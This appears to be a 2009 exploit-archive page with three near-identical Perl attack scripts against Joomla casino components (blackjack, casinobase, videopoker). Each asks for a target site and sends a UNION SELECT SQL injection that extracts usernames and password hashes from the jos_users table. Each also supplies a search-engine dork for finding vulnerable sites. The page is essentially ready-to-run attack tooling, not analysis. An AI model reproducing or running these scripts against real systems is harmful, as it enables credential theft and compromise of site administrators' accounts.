[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Joomla Casino 0.3.1 Multiple SQL Injection Exploits
# Published : 2009-05-20
# Author : ByALBAYX
# Previous Title : ZaoCMS Insecure Cookie Handling Vulnerability
# Next Title : ZaoCMS (download.php) Remote File Disclosure Vulnerability


#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casino_blackjack
#[!] Dork   : inurl:"com_casino_blackjack"
########################################


system("color FF0000");
print "tt-------------------------------------------------------------nn";
print "tt                      |  C4TEAM  |                           nn";
print "tt-------------------------------------------------------------nn";
print "tt   |Joomla Module com_casino_blackjack SQL Inj Vuln|         nn";
print "tt                      | ByALBAYX |                           nn";
print "tt-------------------------------------------------------------nn";

use LWP::UserAgent;

print "nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casino_blackjack&game_mode=Blackjack&shuffle=1&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "n[+] Admin Hash : $1nn";
print "# Exploit Calisti #nn";
}
else{print "n[-] Hash Bulunamad??...n";
}

###################################################################

#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casinobase
#[!] Dork   : inurl:"com_casinobase"
########################################


system("color FF0000");
print "tt-------------------------------------------------------------nn";
print "tt                      |  C4TEAM  |                           nn";
print "tt-------------------------------------------------------------nn";
print "tt       |Joomla Module Com_Casinobas SQL Inj Vuln|            nn";
print "tt                      | ByALBAYX |                           nn";
print "tt-------------------------------------------------------------nn";

use LWP::UserAgent;

print "nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casinobase&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "n[+] Admin Hash : $1nn";
print "# Exploit Calisti #nn";
}
else{print "n[-] Hash Bulunamad??...n";
}

###################################################################

#!/usr/bin/perl -w


########################################
#[~] Author : ByALBAYX
#[~] Site   : WWW.C4TEAM.ORG
########################################
#[!] Modul  : com_casino_videopoker
#[!] Dork   : inurl:"com_casino_videopoker"
########################################


system("color FF0000");
print "tt-------------------------------------------------------------nn";
print "tt                      |  C4TEAM  |                           nn";
print "tt-------------------------------------------------------------nn";
print "tt    |Joomla Module com_casino_videopoker SQL Inj Vuln|       nn";
print "tt                      | ByALBAYX |                           nn";
print "tt-------------------------------------------------------------nn";

use LWP::UserAgent;

print "nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_casino_videopoker&Itemid=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "n[+] Admin Hash : $1nn";
print "# Exploit Calisti #nn";
}
else{print "n[-] Hash Bulunamad??...n";
}

# www.Syue.com [2009-05-20]